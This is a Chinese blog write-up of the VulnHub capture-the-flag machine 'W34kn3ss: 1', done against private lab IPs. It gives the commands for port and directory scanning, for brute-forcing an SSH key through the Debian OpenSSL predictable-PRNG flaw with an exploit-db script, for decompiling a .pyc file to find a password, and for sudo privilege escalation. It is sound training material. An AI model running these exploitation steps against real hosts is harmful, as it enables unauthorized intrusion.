• vulnhub W34kn3ss: 1


    渗透思路:

    nmap扫描端口 ---- gobuster扫描网站目录 ---- 修改hosts文件,并扫描网站目录 ---- 利用OpenSSL 0.9.8c-1可预测伪随机数漏洞爆破ssh私钥 ---- uncompyle6反编译.pyc ---- sudo su提权

    环境信息:

    靶机:192.168.101.93

    攻击机:192.168.101.34

    具体步骤:

    1、nmap扫描端口

    sudo nmap -sV -sC -p- 192.168.101.93

    扫描到tcp 22、80、443端口

    2、gobuster扫描网站目录

    gobuster dir -u http://192.168.101.93 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php

    扫描到/blog、/uploads、/upload.php、/test

    在浏览器中访问了这些目录,都没啥用

    3、修改hosts文件,并扫描网站目录

    注意到nmap扫描结果中,443端口ssl-cert中commonName是weakness.jth

    在/etc/hosts中增加一条靶机ip和weakness.jth的对应关系

    sudo vim /etc/hosts

    添加

    192.168.101.93 weakness.jth

    浏览器访问http://weakness.jth/,和直接访问ip地址(出现apache默认页面)是不同的页面。

    发现一个兔兔,兔兔尾巴是系统用户名n30(n30也是http://192.168.101.93/upload.php的title,以及上传文件后查看网页源代码也能看到n30)

    再用gobuster扫描http://weakness.jth/的目录

    gobuster dir -u http://weakness.jth -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php

    浏览器访问http://weakness.jth/private/

    mykey.pub里面有个公钥,点击可以下载。

    点notes.txt(来到http://weakness.jth/private/files/notes.txt),发现提示

    this key was generated by openssl 0.9.8c-1

    4、利用OpenSSL 0.9.8c-1可预测伪随机数漏洞爆破ssh私钥

    在exploit-db中搜索openssl 0.9.8c-1,找到如下payload

    我选了python的exp:OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH - Linux remote Exploit

    exp中的使用方法提示如下

    # 1. Download https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)

    #

    # 2. Extract it to a directory

    #

    # 3. Execute the python script

    # - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5

    # - execute: python exploit.py (without parameters) to display the help

    # - if the key is found, the script shows something like that:

    # Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121

    # Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240

    首先从https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2下载5622.tar.bz2,然后解压,解压出的文件夹是./rsa/2048/,这个文件夹下是好多好多公私钥对

    官方方法

    然后从OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH - Linux remote Exploit下载exp脚本5720.py,并执行

    python2 5720.py

    可以得到用法提示

    根据用法提示,爆破n30的私钥 

    ./rsa/2048是存放公私钥对的目录,192.168.101.93是靶机ip,n30是用户名,22是ssh端口

    python2 5720.py ./rsa/2048 192.168.101.93 n30 22

    一段时间后,爆破出私钥在文件4161de56829de2fe64b9055711f531c1-2537

    n30用户用该私钥ssh登录靶机

    ssh n30@192.168.101.93 -i 4161de56829de2fe64b9055711f531c1-2537

    更简单的方法

    网上看到别的博主有更简单的办法获得n30的私钥。由于mykey.pub中已经给出了公钥,所以可以用grep命令在./rsa/2048/中搜索包含该公钥的文件,其对应的私钥就是n30的私钥。

    grep -r -l "AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw==" ./rsa/2048

    1秒就找到了公钥文件./rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub,对应的私钥也就是./rsa/2048/4161de56829de2fe64b9055711f531c1-2537,和用exp脚本爆破出来的是一样的,但是用时比exp脚本少太多。

    5、uncompyle6 反编译.pyc

    n30用户家目录下有个code文件,执行报错

    其文件类型为python 2.7 byte-compiled

    file code

    n30家目录下起http服务

    python -m SimpleHTTPServer 9999

    攻击机上下载code,改名为code.pyc,然后用uncompyle6反编译

    1. wget http://192.168.101.93:9999/code
    2. mv code code.pyc
    3. uncompyle6 -o code.py code.pyc

    注意,如果像我一样uncompyle6安装目录不在$PATH中,还需要把其安装目录添加到$PATH中

    export PATH=$PATH:/home/kali/.local/bin

    反编译成功后,查看code.py的内容,发现

    n30:dMASDNB!!#B!#!#33

    6、sudo su提权

    现在知道了n30的密码是dMASDNB!!#B!#!#33,可以试试sudo提权

    sudo -l看看n30能sudo执行哪些命令

    看来n30可以以任意用户身份sudo执行任意命令

    sudo su提权到root,并在/root下发现root.txt

  • 相关阅读:
    职责链模式
    「大数据-2.0」安装Hadoop和部署HDFS集群
    神经网络怎么看训练效果,神经网络常用训练方法
    云音箱工作原理
    计算机毕业设计(附源码)python语言学习系统
    QFtp编译
    Spring Message源码解析
    【命令式编程和声明式编程】
    阿里云服务器配置选择方案_CPU内存_带宽_系统盘
    23、线程
  • 原文地址:https://blog.csdn.net/elephantxiang/article/details/126087577